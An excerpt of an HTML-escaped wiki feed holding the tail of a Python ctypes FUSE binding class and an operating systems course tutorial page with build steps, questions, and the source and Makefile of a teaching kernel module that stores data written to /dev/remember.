    def reply_err(self, req, err):&lt;br /&gt;
        return self.libfuse.fuse_reply_err(req, err)&lt;br /&gt;
    &lt;br /&gt;
    def reply_none(self, req):&lt;br /&gt;
        self.libfuse.fuse_reply_none(req)&lt;br /&gt;
    &lt;br /&gt;
    def reply_entry(self, req, entry):&lt;br /&gt;
        entry[&#039;attr&#039;] = c_stat(**entry[&#039;attr&#039;])&lt;br /&gt;
        e = fuse_entry_param(**entry)&lt;br /&gt;
        self.libfuse.fuse_reply_entry(req, byref(e))&lt;br /&gt;
    &lt;br /&gt;
    def reply_create(self, req, *args):&lt;br /&gt;
        pass    # XXX&lt;br /&gt;
    &lt;br /&gt;
    def reply_attr(self, req, attr, attr_timeout):&lt;br /&gt;
        st = dict_to_stat(attr)&lt;br /&gt;
        return self.libfuse.fuse_reply_attr(req, byref(st), c_double(attr_timeout))&lt;br /&gt;
    &lt;br /&gt;
    def reply_readlink(self, req, *args):&lt;br /&gt;
        pass    # XXX&lt;br /&gt;
    &lt;br /&gt;
    def reply_open(self, req, d):&lt;br /&gt;
        fi = fuse_file_info(**d)&lt;br /&gt;
        return self.libfuse.fuse_reply_open(req, byref(fi))&lt;br /&gt;
    &lt;br /&gt;
    def reply_write(self, req, count):&lt;br /&gt;
        return self.libfuse.fuse_reply_write(req, count)&lt;br /&gt;
    &lt;br /&gt;
    def reply_buf(self, req, buf):&lt;br /&gt;
        return self.libfuse.fuse_reply_buf(req, buf, len(buf))&lt;br /&gt;
    &lt;br /&gt;
    def reply_readdir(self, req, size, off, entries):&lt;br /&gt;
        bufsize = 0&lt;br /&gt;
        sized_entries = []&lt;br /&gt;
        for name, attr in entries:&lt;br /&gt;
            entsize = self.libfuse.fuse_add_direntry(req, None, 0, name, None, 0)&lt;br /&gt;
            sized_entries.append((name, attr, entsize))&lt;br /&gt;
            bufsize += entsize&lt;br /&gt;
&lt;br /&gt;
        next = 0&lt;br /&gt;
        buf = create_string_buffer(bufsize)&lt;br /&gt;
        for name, attr, entsize in sized_entries:&lt;br /&gt;
            entbuf = cast(addressof(buf) + next, c_char_p)&lt;br /&gt;
            st = c_stat(**attr)&lt;br /&gt;
            next += entsize&lt;br /&gt;
            self.libfuse.fuse_add_direntry(req, entbuf, entsize, name, byref(st), next)&lt;br /&gt;
&lt;br /&gt;
        if off &amp;lt; bufsize:&lt;br /&gt;
            buf = cast(addressof(buf) + off, c_char_p) if off else buf&lt;br /&gt;
            return self.libfuse.fuse_reply_buf(req, buf, min(bufsize - off, size))&lt;br /&gt;
        else:&lt;br /&gt;
            return self.libfuse.fuse_reply_buf(req, None, 0)&lt;br /&gt;
    &lt;br /&gt;
    &lt;br /&gt;
    # If you override the following methods you should reply directly&lt;br /&gt;
    # with the self.libfuse.fuse_reply_* methods.&lt;br /&gt;
    &lt;br /&gt;
    def fuse_getattr(self, req, ino, fi):&lt;br /&gt;
        self.getattr(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_setattr(self, req, ino, attr, to_set, fi):&lt;br /&gt;
        attr_dict = stat_to_dict(attr)&lt;br /&gt;
        to_set_list = setattr_mask_to_list(to_set)&lt;br /&gt;
        fi_dict = struct_to_dict(fi)&lt;br /&gt;
        self.setattr(req, ino, attr_dict, to_set_list, fi_dict)&lt;br /&gt;
        &lt;br /&gt;
    def fuse_open(self, req, ino, fi):&lt;br /&gt;
        self.open(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_read(self, req, ino, size, off, fi):&lt;br /&gt;
        self.read(req, ino, size, off, fi)&lt;br /&gt;
    &lt;br /&gt;
    def fuse_write(self, req, ino, buf, size, off, fi):&lt;br /&gt;
        buf_str = string_at(buf, size)&lt;br /&gt;
        fi_dict = struct_to_dict(fi)&lt;br /&gt;
        self.write(req, ino, buf_str, off, fi_dict)&lt;br /&gt;
&lt;br /&gt;
    def fuse_flush(self, req, ino, fi):&lt;br /&gt;
        self.flush(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_release(self, req, ino, fi):&lt;br /&gt;
        self.release(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_fsync(self, req, ino, datasync, fi):&lt;br /&gt;
        self.fsyncdir(req, ino, datasync, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_opendir(self, req, ino, fi):&lt;br /&gt;
        self.opendir(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_readdir(self, req, ino, size, off, fi):&lt;br /&gt;
        self.readdir(req, ino, size, off, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_releasedir(self, req, ino, fi):&lt;br /&gt;
        self.releasedir(req, ino, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    def fuse_fsyncdir(self, req, ino, datasync, fi):&lt;br /&gt;
        self.fsyncdir(req, ino, datasync, struct_to_dict(fi))&lt;br /&gt;
    &lt;br /&gt;
    &lt;br /&gt;
    # Utility methods&lt;br /&gt;
    &lt;br /&gt;
    def req_ctx(self, req):&lt;br /&gt;
        ctx = self.libfuse.fuse_req_ctx(req)&lt;br /&gt;
        return struct_to_dict(ctx)&lt;br /&gt;
    &lt;br /&gt;
    &lt;br /&gt;
    # Methods to be overridden in subclasses.&lt;br /&gt;
    # Reply with the self.reply_* methods.&lt;br /&gt;
    &lt;br /&gt;
    def init(self, userdata, conn):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Initialize filesystem&lt;br /&gt;
        &lt;br /&gt;
        There&#039;s no reply to this method&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
    def destroy(self, userdata):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Clean up filesystem&lt;br /&gt;
        &lt;br /&gt;
        There&#039;s no reply to this method&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
    def lookup(self, req, parent, name):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Look up a directory entry by name and get its attributes.&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_entry&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, ENOENT)&lt;br /&gt;
    &lt;br /&gt;
    def forget(self, req, ino, nlookup):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Forget about an inode&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_none&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_none(req)&lt;br /&gt;
&lt;br /&gt;
    def getattr(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Get file attributes&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_attr&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        if ino == 1:&lt;br /&gt;
            attr = {&#039;st_ino&#039;: 1, &#039;st_mode&#039;: S_IFDIR | 0755, &#039;st_nlink&#039;: 2}&lt;br /&gt;
            self.reply_attr(req, attr, 1.0)&lt;br /&gt;
        else:&lt;br /&gt;
            self.reply_err(req, ENOENT)        &lt;br /&gt;
    &lt;br /&gt;
    def setattr(self, req, ino, attr, to_set, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Set file attributes&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_attr&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
        &lt;br /&gt;
    def readlink(self, req, ino):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Read symbolic link&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_readlink&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, ENOENT)&lt;br /&gt;
    &lt;br /&gt;
    def mknod(self, req, parent, name, mode, rdev):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Create file node&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_entry&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def mkdir(self, req, parent, name, mode):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Create a directory&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_entry&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
&lt;br /&gt;
    def unlink(self, req, parent, name):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Remove a file&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def rmdir(self, req, parent, name):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Remove a directory&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def symlink(self, req, link, parent, name):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Create a symbolic link&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_entry&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def rename(self, req, parent, name, newparent, newname):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Rename a file&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def link(self, req, ino, newparent, newname):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Create a hard link&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_entry&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def open(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Open a file&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_open&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_open(req, fi)&lt;br /&gt;
    &lt;br /&gt;
    def read(self, req, ino, size, off, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Read data&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_buf&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EIO)&lt;br /&gt;
        &lt;br /&gt;
    def write(self, req, ino, buf, off, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Write data&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_write&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, EROFS)&lt;br /&gt;
    &lt;br /&gt;
    def flush(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Flush method&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
    &lt;br /&gt;
    def release(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Release an open file&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
    &lt;br /&gt;
    def fsync(self, req, ino, datasync, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Synchronize file contents&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
&lt;br /&gt;
    def opendir(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Open a directory&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_open&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_open(req, fi)&lt;br /&gt;
    &lt;br /&gt;
    def readdir(self, req, ino, size, off, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Read directory&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_readdir&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        if ino == 1:&lt;br /&gt;
            attr = {&#039;st_ino&#039;: 1, &#039;st_mode&#039;: S_IFDIR}&lt;br /&gt;
            entries = [(&#039;.&#039;, attr), (&#039;..&#039;, attr)]&lt;br /&gt;
            self.reply_readdir(req, size, off, entries)&lt;br /&gt;
        else:&lt;br /&gt;
            self.reply_err(req, ENOENT)&lt;br /&gt;
    &lt;br /&gt;
    def releasedir(self, req, ino, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Release an open directory&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
&lt;br /&gt;
    def fsyncdir(self, req, ino, datasync, fi):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;Synchronize directory contents&lt;br /&gt;
        &lt;br /&gt;
        Valid replies:&lt;br /&gt;
            reply_err&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_7&amp;diff=21938</id>
		<title>Operating Systems 2018F: Tutorial 7</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_2018F:_Tutorial_7&amp;diff=21938"/>
		<updated>2018-11-05T20:52:04Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tasks/Questions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Again in this tutorial you will be building and installing kernel modules.  You will need root access to install kernel modules.&lt;br /&gt;
&lt;br /&gt;
It is &#039;&#039;&#039;highly recommended&#039;&#039;&#039; that you use a comp3000 openstack instance for the exercises below for two reasons.  First, you may have difficulties compiling kernel modules on other systems.  Second, these operations are potentially dangerous and mistakes could &#039;&#039;&#039;destroy all data&#039;&#039;&#039; on the Linux system.  Consider yourself warned!&lt;br /&gt;
&lt;br /&gt;
In this tutorial you&#039;ll be playing with the remember kernel module.  This module creates a device /dev/remember.  You can write data to this device and when you read from it, it will return the data that you most recently wrote.&lt;br /&gt;
&lt;br /&gt;
==Getting started==&lt;br /&gt;
&lt;br /&gt;
First, make sure your system is ready to build things.  On ubuntu:&lt;br /&gt;
&lt;br /&gt;
  sudo apt install build-essential libelf-dev&lt;br /&gt;
  sudo apt clean&lt;br /&gt;
&lt;br /&gt;
Note that libelf-dev is a new addition.  (To update your system, run &amp;quot;sudo apt update; sudo apt dist-upgrade&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Download and unzip [https://homeostasis.scs.carleton.ca/~soma/os-2018f/code/tut7/remember.zip remember.zip].  From the command line:&lt;br /&gt;
&lt;br /&gt;
  wget https://homeostasis.scs.carleton.ca/~soma/os-2018f/code/tut7/remember.zip&lt;br /&gt;
  unzip remember.zip&lt;br /&gt;
&lt;br /&gt;
Next, build the module and install it:&lt;br /&gt;
&lt;br /&gt;
  cd remember&lt;br /&gt;
  make&lt;br /&gt;
  sudo insmod remember.ko&lt;br /&gt;
&lt;br /&gt;
And then test the module:&lt;br /&gt;
&lt;br /&gt;
  echo &amp;quot;Hello world&amp;quot; &amp;gt; /dev/remember&lt;br /&gt;
  cat /dev/remember&lt;br /&gt;
&lt;br /&gt;
Be sure to check the kernel logs before and after.  You may even want to follow the logs as you play with the module.  To do this, run:&lt;br /&gt;
&lt;br /&gt;
  tail -f /var/log/kern.log&lt;br /&gt;
&lt;br /&gt;
You&#039;ll want to do this in a separate window.&lt;br /&gt;
&lt;br /&gt;
==Tasks/Questions==&lt;br /&gt;
&lt;br /&gt;
A good resource is [https://learnlinuxconcepts.blogspot.com/2014/02/linux-memory-management.html this page] on Linux kernel memory management.&lt;br /&gt;
&lt;br /&gt;
# What can you do with the Makefile other than type &amp;quot;make&amp;quot;?&lt;br /&gt;
# How much data can you write to /dev/remember?  What determines the limit?  (Hint: try writing the contents of remember.c to /dev/remember)&lt;br /&gt;
# When is data being allocated?  When is it deallocated?&lt;br /&gt;
# How can you increase the amount of data that /dev/remember stores?  (Hint: what is saved_data_order for?)&lt;br /&gt;
# Does the kernel use virtual or physical addresses for its own data structures?&lt;br /&gt;
# How are we copying data to and from kernel space?  Is it the same way we did before?&lt;br /&gt;
# What was changed from newgetpid.c that allows the /dev/remember device to be written to?  What parts of the code had to be changed?  What had to be added?&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===remember.c===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* &lt;br /&gt;
  remember.c&lt;br /&gt;
&lt;br /&gt;
  remember module COMP 3000, Carleton University&lt;br /&gt;
  remembers what is written to it, returns in when read along with&lt;br /&gt;
  info about how it is stored&lt;br /&gt;
&lt;br /&gt;
  License: GPLv2 or later&lt;br /&gt;
  Author: Anil Somayaji&lt;br /&gt;
  November 3, 2018&lt;br /&gt;
&lt;br /&gt;
  device driver and module code derived from:&lt;br /&gt;
  https://appusajeev.wordpress.com/2011/06/18/writing-a-linux-character-device-driver/&lt;br /&gt;
  and&lt;br /&gt;
  http://pete.akeo.ie/2011/08/writing-linux-device-driver-for-kernels.html&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/fs.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/device.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/init.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/sched.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/uaccess.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/mm.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define DEVICE_NAME &amp;quot;remember&amp;quot;&lt;br /&gt;
#define CLASS_NAME &amp;quot;comp3000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
static struct class* remember_class = NULL;&lt;br /&gt;
static struct device* remember_device = NULL;&lt;br /&gt;
static int remember_major;&lt;br /&gt;
&lt;br /&gt;
static struct page *saved_data_page = NULL;&lt;br /&gt;
static char *saved_data = NULL;&lt;br /&gt;
static unsigned long saved_data_len = 0;&lt;br /&gt;
static int saved_data_max = PAGE_SIZE;&lt;br /&gt;
static int saved_data_order = 0;&lt;br /&gt;
&lt;br /&gt;
static int remember_open(struct inode *the_inode, struct file *f)&lt;br /&gt;
{&lt;br /&gt;
        pr_info(&amp;quot;Remember: device opened\n&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static ssize_t remember_read(struct file *f, char *buf, size_t len, loff_t *offset)&lt;br /&gt;
{&lt;br /&gt;
        unsigned long n;&lt;br /&gt;
        char *error_msg = &amp;quot;Buffer too small.&amp;quot;;&lt;br /&gt;
        &lt;br /&gt;
        pr_info(&amp;quot;Remember: read started\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
        if (*offset &amp;gt; 0) {&lt;br /&gt;
                pr_info(&amp;quot;Remember: read non-zero offset, aborting\n&amp;quot;);&lt;br /&gt;
                return 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if (len &amp;lt; saved_data_len) {&lt;br /&gt;
                pr_info(&amp;quot;Remember: read short buffer\n&amp;quot;);&lt;br /&gt;
                n = strlen(error_msg) + 1;  // Include terminating null byte&lt;br /&gt;
                if (n &amp;gt; len) {&lt;br /&gt;
                        n = len;&lt;br /&gt;
                }&lt;br /&gt;
                copy_to_user(buf, error_msg, n);&lt;br /&gt;
                &lt;br /&gt;
                return n;&lt;br /&gt;
        } else {&lt;br /&gt;
                pr_info(&amp;quot;Remember: read returning data, %ld bytes\n&amp;quot;,&lt;br /&gt;
                        saved_data_len);&lt;br /&gt;
                copy_to_user(buf, saved_data, saved_data_len);&lt;br /&gt;
                *offset = saved_data_len;&lt;br /&gt;
&lt;br /&gt;
                return saved_data_len;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void init_saved_data(void)&lt;br /&gt;
{&lt;br /&gt;
        pr_info(&amp;quot;Remember: allocating data page&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
        if (saved_data) {&lt;br /&gt;
                pr_err(&amp;quot;Remember: saved_data already initialized!&amp;quot;);&lt;br /&gt;
        } else {       &lt;br /&gt;
                saved_data_page = alloc_pages(GFP_KERNEL,&lt;br /&gt;
                                              saved_data_order);&lt;br /&gt;
                saved_data = (char *) page_address(saved_data_page);&lt;br /&gt;
                saved_data_len = 0;&lt;br /&gt;
&lt;br /&gt;
                pr_info(&amp;quot;saved_data at kernel virtual address %lx&amp;quot;,&lt;br /&gt;
                        (unsigned long) saved_data);&lt;br /&gt;
                pr_info(&amp;quot;saved_data_page page struct at address %lx&amp;quot;,&lt;br /&gt;
                        (unsigned long) saved_data_page);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void free_saved_data(void)&lt;br /&gt;
{&lt;br /&gt;
        if (saved_data_page) {&lt;br /&gt;
                pr_info(&amp;quot;Remember: freeing old data page&amp;quot;);&lt;br /&gt;
                __free_pages(saved_data_page, saved_data_order);&lt;br /&gt;
                saved_data_page = NULL;&lt;br /&gt;
                saved_data = NULL;&lt;br /&gt;
                saved_data_len = 0;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static ssize_t remember_write(struct file *f, const char *buf, size_t len,&lt;br /&gt;
                           loff_t *offset)&lt;br /&gt;
{&lt;br /&gt;
        unsigned long result;&lt;br /&gt;
&lt;br /&gt;
        if (*offset &amp;gt; 0) {&lt;br /&gt;
                pr_info(&amp;quot;Remember: write nonzero offset, aborting&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
                return 0;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        free_saved_data();&lt;br /&gt;
        init_saved_data();&lt;br /&gt;
        &lt;br /&gt;
        if (len &amp;gt; saved_data_max) {&lt;br /&gt;
                len = saved_data_max;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        pr_info(&amp;quot;Remember: write saving data, %ld bytes&amp;quot;, len);&lt;br /&gt;
&lt;br /&gt;
        result = copy_from_user(saved_data, buf, len);&lt;br /&gt;
        saved_data_len = len;        &lt;br /&gt;
&lt;br /&gt;
        *offset = len;&lt;br /&gt;
        &lt;br /&gt;
        return len;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int remember_release(struct inode *the_inode, struct file *f)&lt;br /&gt;
{        &lt;br /&gt;
        pr_info(&amp;quot;Remember: device closed\n&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static struct file_operations remember_fops = {&lt;br /&gt;
        .open = remember_open,&lt;br /&gt;
        .read = remember_read,&lt;br /&gt;
        .write = remember_write,&lt;br /&gt;
        .release = remember_release,&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static char *remember_devnode(struct device *dev, umode_t *mode)&lt;br /&gt;
{&lt;br /&gt;
        if (mode)&lt;br /&gt;
	        *mode = 0666;&lt;br /&gt;
        return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int __init remember_init(void)&lt;br /&gt;
{&lt;br /&gt;
        int retval;&lt;br /&gt;
  &lt;br /&gt;
        remember_major = register_chrdev(0, DEVICE_NAME, &amp;amp;remember_fops);&lt;br /&gt;
        if (remember_major &amp;lt; 0) {&lt;br /&gt;
                pr_err(&amp;quot;failed to register device: error %d\n&amp;quot;, remember_major);&lt;br /&gt;
                retval = remember_major;&lt;br /&gt;
                goto failed_chrdevreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        remember_class = class_create(THIS_MODULE, CLASS_NAME);&lt;br /&gt;
        if (IS_ERR(remember_class)) {&lt;br /&gt;
                pr_err(&amp;quot;Remember: failed to register device class &#039;%s&#039;\n&amp;quot;,&lt;br /&gt;
                       CLASS_NAME);&lt;br /&gt;
                retval = PTR_ERR(remember_class);&lt;br /&gt;
                goto failed_classreg;&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        remember_class-&amp;gt;devnode = remember_devnode;&lt;br /&gt;
&lt;br /&gt;
        remember_device = device_create(remember_class, NULL,&lt;br /&gt;
                                        MKDEV(remember_major, 0),&lt;br /&gt;
                                        NULL, DEVICE_NAME);&lt;br /&gt;
&lt;br /&gt;
        if (IS_ERR(remember_device)) {&lt;br /&gt;
                pr_err(&amp;quot;Remember: failed to create device &#039;%s&#039;\n&amp;quot;, DEVICE_NAME);&lt;br /&gt;
                retval = PTR_ERR(remember_device);&lt;br /&gt;
                goto failed_devreg;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        pr_info(&amp;quot;Remember: device registered using major %d.\n&amp;quot;,&lt;br /&gt;
                remember_major);&lt;br /&gt;
        &lt;br /&gt;
        return 0;&lt;br /&gt;
        &lt;br /&gt;
 failed_devreg:&lt;br /&gt;
        class_unregister(remember_class);&lt;br /&gt;
        class_destroy(remember_class);&lt;br /&gt;
 failed_classreg:&lt;br /&gt;
        unregister_chrdev(remember_major, DEVICE_NAME);&lt;br /&gt;
 failed_chrdevreg:&lt;br /&gt;
        return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void __exit remember_exit(void)&lt;br /&gt;
{&lt;br /&gt;
        free_saved_data();&lt;br /&gt;
&lt;br /&gt;
        device_destroy(remember_class, MKDEV(remember_major, 0));&lt;br /&gt;
        class_unregister(remember_class);&lt;br /&gt;
        class_destroy(remember_class);&lt;br /&gt;
        unregister_chrdev(remember_major, &amp;quot;remember&amp;quot;);&lt;br /&gt;
        pr_info(&amp;quot;Unloading Remember module.\n&amp;quot;);&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
module_init(remember_init);&lt;br /&gt;
module_exit(remember_exit);&lt;br /&gt;
&lt;br /&gt;
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);&lt;br /&gt;
MODULE_AUTHOR(&amp;quot;Anil Somayaji &amp;lt;soma@scs.carleton.ca&amp;gt;&amp;quot;);&lt;br /&gt;
MODULE_DESCRIPTION(&amp;quot;A remember character device module&amp;quot;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Makefile===&lt;br /&gt;
&lt;br /&gt;
Note that the large spaces below should be tabs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;make&amp;quot; line&amp;gt;&lt;br /&gt;
MODNAME := remember&lt;br /&gt;
obj-m := $(MODNAME).o&lt;br /&gt;
KDIR := /lib/modules/$(shell uname -r)/build&lt;br /&gt;
PWD := $(shell pwd)&lt;br /&gt;
default:&lt;br /&gt;
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
        /bin/rm -f *.o *.ko *~&lt;br /&gt;
        /bin/rm -f Module.symvers modules.order Modules.symvers *.mod.c&lt;br /&gt;
        /bin/rm -f .*o.cmd .cache.mk&lt;br /&gt;
        /bin/rm -rf .tmp_versions&lt;br /&gt;
&lt;br /&gt;
